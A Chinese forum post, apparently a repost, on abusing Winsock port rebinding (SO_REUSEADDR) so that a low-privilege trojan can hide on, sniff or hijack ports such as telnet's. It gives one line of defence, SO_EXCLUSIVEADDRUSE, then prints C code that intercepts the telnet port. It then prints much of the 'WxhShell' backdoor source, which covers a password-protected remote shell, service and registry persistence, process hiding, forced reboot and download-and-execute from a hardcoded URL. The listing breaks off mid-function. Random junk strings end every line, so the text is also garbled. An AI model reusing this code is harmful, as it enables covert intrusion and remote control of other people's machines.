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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?I\,RiZkz^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U *go}dt"5  
u1\r:q  
  saddr.sin_family = AF_INET; H5o=nWQ6e  
;kT~&.,y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6& 6|R3  
o^r\7g6\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v2="j  
'E\4/0 !  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 su3Wk,MLP  
xJA{Hws  
  这意味着什么?意味着可以进行如下的攻击: oArJ%Y>  
`; j$]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M5L/3qLh1  
: LT'#Q8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Eh$1p iJG  
3Vak C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EBr?>hl  
H6U 5-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \xQu*M:!  
7:<A_OLi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +oL@pp0  
\1QY=}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *kEzGgTzoS  
8DM! ]L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?nq%'<^^  
@[Q`k=h$  
  #include ydAiH*>  
  #include `PSjk F(  
  #include Xg* ](>/\,  
  #include    V)vik  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8IE^u<H(:  
  int main() P%N)]b<c*  
  { A~ _2"  
  WORD wVersionRequested; *N"CV={No  
  DWORD ret; n=|% H'U  
  WSADATA wsaData; C7DwA/$D  
  BOOL val; <XN=v!2;  
  SOCKADDR_IN saddr; NCl@C$W9q  
  SOCKADDR_IN scaddr; d`~~Ww1  
  int err; 5}c8v2R:B  
  SOCKET s; FZLx.3k4  
  SOCKET sc; c] t@3m  
  int caddsize; W+$G{XSr5C  
  HANDLE mt; 0=K8 nxdx  
  DWORD tid;   (OA4H1DL^  
  wVersionRequested = MAKEWORD( 2, 2 ); M |f V7g  
  err = WSAStartup( wVersionRequested, &wsaData ); 0%4OmLBT  
  if ( err != 0 ) { f8`dJ5i  
  printf("error!WSAStartup failed!\n"); m/ID3_  
  return -1; k[,0kP;  
  } VqxK5  
  saddr.sin_family = AF_INET; K<kl2#  
   G=SMz+z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 76KNgV)3  
={+8jQqi1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9C0#K\  
  saddr.sin_port = htons(23); 1:>F{g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +C[g>c}d  
  { 9%1J..c  
  printf("error!socket failed!\n"); <HzL%DX  
  return -1; ?_cOU@n  
  } U4<c![Pp.  
  val = TRUE; xu%eg]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QR_h#N2h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) | L1+7  
  { xV 2C4K  
  printf("error!setsockopt failed!\n"); R=F_U  
  return -1; 0U H]  
  } \4^rb?B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (<8}un  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c?u*,d) G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )*S:C   
&I[` .:NJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2#r4dr0  
  { :9Jy/7/  
  ret=GetLastError(); mt`CQz"_  
  printf("error!bind failed!\n"); o. ;Vrc  
  return -1; eZN"t~\rX  
  } !8| }-eFY  
  listen(s,2); PMV,*`"9"A  
  while(1) e}S+1G6r)  
  { I[d<SHo  
  caddsize = sizeof(scaddr); (xRcG+3];  
  //接受连接请求 "aCAA#$J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GNe^ ~  
  if(sc!=INVALID_SOCKET) tiHR&v  
  { 7t:tS7{}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lg~7[=%k#  
  if(mt==NULL) lM{ fld  
  { !hhL",  
  printf("Thread Creat Failed!\n"); y!.jpF'uI  
  break; OTdijQLY  
  } [!-gb+L  
  } i >s  
  CloseHandle(mt); jWv'`c  
  } kMMgY?  
  closesocket(s); ^}B,0yUu'  
  WSACleanup(); hW< v5!,  
  return 0; ,1$F #Eh  
  }   ow.!4kx{d  
  DWORD WINAPI ClientThread(LPVOID lpParam) Cl]?qH*:  
  { ACdPF_Y]  
  SOCKET ss = (SOCKET)lpParam; hN &?x5aC>  
  SOCKET sc; yy7(')wKO  
  unsigned char buf[4096]; x9 %=d  
  SOCKADDR_IN saddr; AXW.`~ 4  
  long num; /uj^w&l#  
  DWORD val; bIAE?D  
  DWORD ret; c{BAQZVc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q!eE~O;A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jk03 Hd  
  saddr.sin_family = AF_INET; d*0 RBgn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h @!p:]  
  saddr.sin_port = htons(23); '\tI|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )hXTgUZa  
  { gM\>{ihM'  
  printf("error!socket failed!\n"); < $0is:]  
  return -1; $`E?=L`$  
  } 3SP";3+  
  val = 100; alaL/p{O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e~N&?^M  
  { m9DFnk<D  
  ret = GetLastError(); Zj2 si  
  return -1; .d]/:T -0  
  } IR6W'vA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %N*[{j= ^  
  { CO='[1"_5  
  ret = GetLastError(); g Ed A hfx  
  return -1; vW1^  
  } Z8 #nu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7~e,"^>T  
  { @M5+12FYt  
  printf("error!socket connect failed!\n"); Lt't   
  closesocket(sc); i6'=]f'{  
  closesocket(ss); /Sw~<B!8N  
  return -1; 4 XjwU`  
  } b>; ?{  
  while(1) 5H0qMt P  
  { im2mA8OH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 da7"Q{f+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $[>{s9E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,|:.0g[n  
  num = recv(ss,buf,4096,0); qzUiBwUi@  
  if(num>0) y2jv84 M  
  send(sc,buf,num,0); _O`p(6  
  else if(num==0) h0tiWHw  
  break; R^l0Bu]X  
  num = recv(sc,buf,4096,0);  '"B  
  if(num>0) MJXnAIG?2  
  send(ss,buf,num,0); 6]brL.eGj  
  else if(num==0) MXaF q K<Y  
  break; )QE6X67i  
  } IA2VesHb  
  closesocket(ss); J:@gmo`M;V  
  closesocket(sc); I2[Z0G@&=  
  return 0 ; EN!C5/M{&  
  } .l1x~(  
\f9WpAY  
r3'J{-kl  
========================================================== ,*|Q=  
@]l|-xGCWn  
下边附上一个代码,,WXhSHELL }dkXRce*  
)p\`H;7*V4  
========================================================== fDy*dp4z  
a !VWWUTm?  
#include "stdafx.h" "iSY;y o  
9\Jc7[b  
#include <stdio.h> MB)<@.A0  
#include <string.h> xt^1,V4Ei~  
#include <windows.h> RE>Q5#|c  
#include <winsock2.h> A9xe Oy8e  
#include <winsvc.h> c4fH/-  
#include <urlmon.h> cp`J ep<T  
$${I[2 R)  
#pragma comment (lib, "Ws2_32.lib") dc)%5fV\  
#pragma comment (lib, "urlmon.lib") 7{ m>W!  
3``JrkPI  
#define MAX_USER   100 // 最大客户端连接数 5#.m'a)  
#define BUF_SOCK   200 // sock buffer Jt8;ddz  
#define KEY_BUFF   255 // 输入 buffer \s)MN s  
sX1DbEjj[o  
#define REBOOT     0   // 重启 9JA@m  
#define SHUTDOWN   1   // 关机 w"' Pn`T  
T!c|O3m  
#define DEF_PORT   5000 // 监听端口 wn[)/*(,$(  
~B;}jI]d[  
#define REG_LEN     16   // 注册表键长度 NXOXN]=c<  
#define SVC_LEN     80   // NT服务名长度 Y$JVxly  
&|Gg46P7  
// 从dll定义API dmF=8nff  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VIAq$iu7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~J].~^[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *u+DAg'&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~5P9^`KNH  
v`|]57?A  
// wxhshell配置信息 yj:@Fg-3g  
struct WSCFG { $Tbsre\MJ  
  int ws_port;         // 监听端口 IWo'{pk  
  char ws_passstr[REG_LEN]; // 口令 0|AgmW_7 .  
  int ws_autoins;       // 安装标记, 1=yes 0=no &wQ;J)13  
  char ws_regname[REG_LEN]; // 注册表键名 {!2K-7;  
  char ws_svcname[REG_LEN]; // 服务名 Biv)s@"f-Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HYdM1s6vo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /9_%NR[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c6:uM1V{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YoKE=ln7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]aPf-O*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :ts3_-cr  
 ] 2 `%i5  
}; 3q%z  
hV@ N -u^  
// default Wxhshell configuration eA& #33  
struct WSCFG wscfg={DEF_PORT, ta?NO{*  
    "xuhuanlingzhe", aU6l>G`w  
    1, *}]#E$  
    "Wxhshell", ?s2-iuMPd  
    "Wxhshell", T";evM66  
            "WxhShell Service", ,>B11Z}PH  
    "Wrsky Windows CmdShell Service", Fip 5vrD  
    "Please Input Your Password: ", .))g]CH  
  1, d[6 'w ?  
  "http://www.wrsky.com/wxhshell.exe", WaB0?jI  
  "Wxhshell.exe" HO<|EH~lu  
    }; n3p@duC4  
=][ )|n  
// 消息定义模块 |3~m8v2-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0d+n[Go+S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1J[$f>%n]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xN*k&!1&  
char *msg_ws_ext="\n\rExit."; /phMrL=  
char *msg_ws_end="\n\rQuit."; :E-$:\V0}k  
char *msg_ws_boot="\n\rReboot..."; g>t1rZ  
char *msg_ws_poff="\n\rShutdown..."; "s|P,*Xf  
char *msg_ws_down="\n\rSave to "; ?kR1T0lKkE  
)h@PRDI_  
char *msg_ws_err="\n\rErr!"; (G F}c\=T7  
char *msg_ws_ok="\n\rOK!"; K9zr]7;th  
\a+Q5g  
char ExeFile[MAX_PATH]; yBy7d!@2  
int nUser = 0; },d^y:m  
HANDLE handles[MAX_USER]; q0 }u%Yz  
int OsIsNt; S${%T$>  
kn}^oRT  
SERVICE_STATUS       serviceStatus; Z5xQ -T`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^'=[+  
<r,5F:  
// 函数声明 _>vH%FY  
int Install(void); AZ(zM.y!#_  
int Uninstall(void); A8tJ&O rwY  
int DownloadFile(char *sURL, SOCKET wsh); +(= -95qZ  
int Boot(int flag); ZP~H!  
void HideProc(void); ZV--d'YiEm  
int GetOsVer(void); sgO au\E  
int Wxhshell(SOCKET wsl); E#_/#J]UQn  
void TalkWithClient(void *cs); XQ=%a5w  
int CmdShell(SOCKET sock); dm}1"BU<  
int StartFromService(void); lW5Lwyt8  
int StartWxhshell(LPSTR lpCmdLine); {> ,M  
)jXKPLj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]r#b:W\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D9TjjA|zS  
Ja~8ZrcY  
// 数据结构和表定义 ; =n}61  
SERVICE_TABLE_ENTRY DispatchTable[] = ho$}#o  
{ HWV A5E[`Y  
{wscfg.ws_svcname, NTServiceMain}, ogIu\kiZ  
{NULL, NULL} |@_<^cV110  
}; ulzX$  
CJk"yW[,|  
// 自我安装 7C'@g)@^/  
int Install(void) __eB 7]#E  
{ wb9(aS4  
  char svExeFile[MAX_PATH]; Sj I,v+  
  HKEY key; @&G}'6vF!  
  strcpy(svExeFile,ExeFile); Vz0(D  
D]_6OlIE#'  
// 如果是win9x系统,修改注册表设为自启动 <cOjtq,0  
if(!OsIsNt) { VHPqEaR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eGT&&Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q6pHL  
  RegCloseKey(key); 8KJ`+"<=@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' ds2\gN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .u\$wJ9Ai  
  RegCloseKey(key); (.=ig X  
  return 0; 7>z {2D  
    } : j kO  
  } hY!ek;/Gc  
} 6~sU[thGW  
else { M @KQOAzt  
l@&-be  
// 如果是NT以上系统,安装为系统服务 0S :&wb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,y'6vW`%g9  
if (schSCManager!=0) +EjXoW7V  
{ C)c*s C5N  
  SC_HANDLE schService = CreateService )PvnB=wy  
  ( Dl.UbH }=  
  schSCManager, $(gL#"T  
  wscfg.ws_svcname, 7zx xO|p[  
  wscfg.ws_svcdisp, d`TiY`!  
  SERVICE_ALL_ACCESS, /:]<z6R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U\Y0v.11  
  SERVICE_AUTO_START, L+G0/G}O\  
  SERVICE_ERROR_NORMAL,  OLIMgc(W  
  svExeFile, 842v^ 2  
  NULL, QDW,e]A  
  NULL, TgjjwcO Y  
  NULL, Q3%]  
  NULL, k={1zl ;  
  NULL QuEX|h,F  
  ); C9?mxa*z  
  if (schService!=0) EVLL,x.~:z  
  { eH7x>[lH.  
  CloseServiceHandle(schService); x2t&Wpvt  
  CloseServiceHandle(schSCManager); <[n:Ij  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lr4wz(q<9  
  strcat(svExeFile,wscfg.ws_svcname); HI{q#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I4%kYp]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,+ IFV  
  RegCloseKey(key); S'^ q  
  return 0; ]VQd *~ -  
    } LZ_0=Xx%  
  } 59{X;  
  CloseServiceHandle(schSCManager); 'm`}XGUBS  
} . s>@@m-  
} K" VcPDK  
5?H wM[`  
return 1; 9,~7,Py}  
} }wRm ~  
@gb W:  
// 自我卸载 IV!`~\@  
int Uninstall(void) a9;KS>~bq  
{ 5- GS@fY  
  HKEY key; i$%Bo/Y   
f8[O]MrO;  
if(!OsIsNt) { ;G}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,x1OQ jtY  
  RegDeleteValue(key,wscfg.ws_regname); @@^iN~uf  
  RegCloseKey(key); _f";zd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B<L7`xL  
  RegDeleteValue(key,wscfg.ws_regname); T5|kO:CbHq  
  RegCloseKey(key); ;8XRs?xyd  
  return 0; z H-a%$5  
  } 'WhJ}Uo\  
} O'IU1sU  
} Q<u?BA/  
else { :8eI_X  
?R)dx uj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S9J9k  
if (schSCManager!=0) {|>Wwa2e  
{ XQn1B3k+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %m dtVQ@  
  if (schService!=0) J;Z2<x/H  
  { O<Q8%Az  
  if(DeleteService(schService)!=0) { "P#1=  
  CloseServiceHandle(schService); 2#:p:R8I>  
  CloseServiceHandle(schSCManager); M5w/TN  
  return 0; =K0%bI  
  } gIz!~I_U  
  CloseServiceHandle(schService); V'{\g|)  
  } UA*VqK)Y  
  CloseServiceHandle(schSCManager); ,DE>:ARZ  
} Jn=;gtD- *  
} 2<B'PR-??y  
3%5YUG@  
return 1; (eU4{X7  
} xE@/8h  
So!=uYX  
// 从指定url下载文件 2`riI*fQ  
int DownloadFile(char *sURL, SOCKET wsh) TMMJ5\t2  
{ WtZI1`\qe  
  HRESULT hr; 1N(1h D  
char seps[]= "/"; YX-~?Pl  
char *token; /a^ R$RHl'  
char *file; T4wk$R L  
char myURL[MAX_PATH]; l90"1I A  
char myFILE[MAX_PATH]; 1Zn8CmE V  
;DK%!."%  
strcpy(myURL,sURL); ,\v'%,:C  
  token=strtok(myURL,seps); ;x\oY6:  
  while(token!=NULL) :Q"|%#P  
  { 2H4vK]]Nl  
    file=token; l~;>KjZg  
  token=strtok(NULL,seps); KWY_eY_|  
  } f/O6~I&g  
e1-tpD:J  
GetCurrentDirectory(MAX_PATH,myFILE); HuTtp|zM>  
strcat(myFILE, "\\"); LE<J<~2Z  
strcat(myFILE, file); ?< b{  
  send(wsh,myFILE,strlen(myFILE),0); J?3/L&seA  
send(wsh,"...",3,0); )pHlWi|h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GqRXNs!  
  if(hr==S_OK) VSY  p  
return 0; h97#(_wV>  
else -&Xv,:'?  
return 1; Kb(11$U  
-:ucp2  
} ]S&ki}i&  
<r: AJ;  
// 系统电源模块 {V6pC  
int Boot(int flag) GA gTy  
{ klJ21j0Bb2  
  HANDLE hToken; rT[qh+KWe  
  TOKEN_PRIVILEGES tkp; *z VN6wG{  
Ll|_Wd.K,  
  if(OsIsNt) { `?Q p>t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (|^m9v0:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b&F9<XLqq  
    tkp.PrivilegeCount = 1; &kIeW;X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VGQ~~U7}@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @Iz]:@\cJ  
if(flag==REBOOT) { uTR^K=Ve  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /dYv@OU?  
  return 0; p@G7}'|eyA  
} nU_O|l9  
else { 5&n{QE?Um  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OtqFI!ns  
  return 0; {3`385  
} 4=tR_s  
  } 'vBZh1`p  
  else { $].htm  
if(flag==REBOOT) { D|9+:Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {zAI-?#*u  
  return 0; qazA,|L!  
} +\Vm t[v  
else { 2 DW @}[G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v3-' G gM  
  return 0; EhHxB fAQ  
} en< $.aY  
} {Uw 0zC  
=D/zC'l  
return 1; O6;"cUv  
} tON>wmN  
sFFQ]ST2p  
// win9x进程隐藏模块 |EE1S{!24m  
void HideProc(void) /g<Oh{o8  
{ xN-,gT'!  
g5B TZZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tzex\]fw  
  if ( hKernel != NULL ) -)}s{[]d6m  
  { sE"s!s/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :k/Xt$`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2 kDsIEA  
    FreeLibrary(hKernel); `} PYltW  
  } 7s(tAbPdB  
92DM1~ *  
return; ss)x fG  
} f4f2xe7\Q  
R_PF*q2 '  
// 获取操作系统版本 {.:$F3T  
int GetOsVer(void) [%.v;+L  
{ 3gi)QCsk  
  OSVERSIONINFO winfo; E^i]eK*"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &$ h~Q  
  GetVersionEx(&winfo); x z _sejKB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6TW7E }a.  
  return 1; n[ B~C  
  else 3 ~v 17  
  return 0; B?VTIq>  
} 7QsD"rL  
@gI1:-chB  
// 客户端句柄模块 fM;,9  
int Wxhshell(SOCKET wsl) \]9)%3I  
{ 7N9NeSH  
  SOCKET wsh; )dT@0Ys%  
  struct sockaddr_in client; Vx_33";S\  
  DWORD myID; _M^.4H2  
5WQl?yMP  
  while(nUser<MAX_USER) (&:gD4.  
{ dVQ[@u1,  
  int nSize=sizeof(client); X06Lr!-%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I_J&>}V'  
  if(wsh==INVALID_SOCKET) return 1; t7+A !7b{  
EA& 3rI>U)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xl\Kj2^  
if(handles[nUser]==0) $m4-^=  
  closesocket(wsh); x)::^'74  
else iEvQ4S6tD  
  nUser++; U[C4!k:0  
  } Mkz_.;3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5f-b>=02  
~ nsb  
  return 0; 4V,.Oi  
}  $GJT  
x|6]+?l@6  
// 关闭 socket -R`{]7V  
void CloseIt(SOCKET wsh) YFO{i-*q  
{ YT\@fgBt  
closesocket(wsh); x e`^)2z  
nUser--; ~G!JqdKJ0  
ExitThread(0); YlHP:ZW-cu  
} WK>F0xMs1  
A lU^ ,X  
// 客户端请求句柄 iod%YjZu  
void TalkWithClient(void *cs) <S@jf4  
{ :?t~|7O:  
2c9?,Le/;  
  SOCKET wsh=(SOCKET)cs; ]b4WfIu  
  char pwd[SVC_LEN]; *M.xVUPr  
  char cmd[KEY_BUFF]; Cx7-I0!  
char chr[1]; /at7 H!  
int i,j; q-F K=r 5  
4qQ,1&!]S  
  while (nUser < MAX_USER) { G7%bY  
gYKz,$  
if(wscfg.ws_passstr) { 2B,O/3y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OK [J h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {K,In)4  
  //ZeroMemory(pwd,KEY_BUFF); 4-(kk0]`z  
      i=0; ~66xO9s  
  while(i<SVC_LEN) { m#7(<#  
5~*)3z^V  
  // 设置超时 pCIzpEsRs  
  fd_set FdRead; %$!3Pbu i  
  struct timeval TimeOut; ag=d6q  
  FD_ZERO(&FdRead); t'qYM5  
  FD_SET(wsh,&FdRead); >yBq i^aL  
  TimeOut.tv_sec=8; ~4~`bT9  
  TimeOut.tv_usec=0; yeo&Qz2vU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tq3Wga!5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2QfN.<[-  
7},A. q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tg\bpLk0=  
  pwd=chr[0]; FfoOJzf~o  
  if(chr[0]==0xd || chr[0]==0xa) { 5(1:^:LGK  
  pwd=0; r* *zjv>  
  break; (Fv tL*  
  } P15 H[<:Fz  
  i++; RZ".?  
    } >| R'dF}  
4=zs&   
  // 如果是非法用户,关闭 socket Ha'[uEDb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k+3qX'fd  
} X#B b?Pv  
i|YS>Pw~j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (i1JRn-f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *b~6 BM$  
VtreOJ+  
while(1) { wj|Zn+{"nF  
bOS)vt*V  
  ZeroMemory(cmd,KEY_BUFF); KyvZ? R  
8[^'PIz  
      // 自动支持客户端 telnet标准   Qzi?%&  
  j=0; $6hPTc<C  
  while(j<KEY_BUFF) { P]E-Wp'p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mkl{Tp*  
  cmd[j]=chr[0]; g?C;b>4  
  if(chr[0]==0xa || chr[0]==0xd) { ']]d-~:  
  cmd[j]=0; '%)R}wgV  
  break; \bA Yic  
  } C@rGa7  
  j++; iCt.rr~;V  
    } niVR!l  
7*/{m K)  
  // 下载文件 =W(*0"RM  
  if(strstr(cmd,"http://")) { p6VD*PT$&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mf}M/Fh  
  if(DownloadFile(cmd,wsh)) ITu19WG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~6vz2DuB=  
  else WWT1= #"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,S)r%[ru^  
  } ON?Y Df  
  else { [U\?+@E*  
#;!&8iH  
    switch(cmd[0]) { 2wf&jGHs  
  ^5mc$~1`  
  // 帮助 'J|2c;M\x  
  case '?': { U=>S|>daR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U ZZJtQt  
    break; )?n'ZhsX  
  } @@EI=\  
  // 安装 'U@o!\=a  
  case 'i': { |<%!9Z  
    if(Install()) {]vD@)k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qnm_#!&uHT  
    else MB plhVK8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ``o]i{x  
    break; nHK(3Z4G  
    } LQ0/oYmNc  
  // 卸载 GW2\YU^{  
  case 'r': { :yay:3qv  
    if(Uninstall()) UD I{4+z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r}*=;Ea  
    else :1v,QEb\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qsj{0Go  
    break; A_9WSXR  
    } 3f;=#|l  
  // 显示 wxhshell 所在路径 7Z-j'pq  
  case 'p': { i1iP'`r  
    char svExeFile[MAX_PATH]; nhI+xqfn  
    strcpy(svExeFile,"\n\r"); Uj@th  
      strcat(svExeFile,ExeFile); RNIXQns-=S  
        send(wsh,svExeFile,strlen(svExeFile),0); bMH~vR  
    break; 'r;mm^cS?  
    } ~ELY$G.xl  
  // 重启 P5S ]h  
  case 'b': { q*!R4yE;C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [g}Cve#i  
    if(Boot(REBOOT)) sJHVnMA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'%I4@Qn+  
    else { pP<8zTLn  
    closesocket(wsh); `FHudSK  
    ExitThread(0); rb?7i&-  
    } bQ< qdGa  
    break; }\4yU=JP K  
    } )'shpRB;1  
  // 关机 obb%@S`  
  case 'd': { 6j E.X  
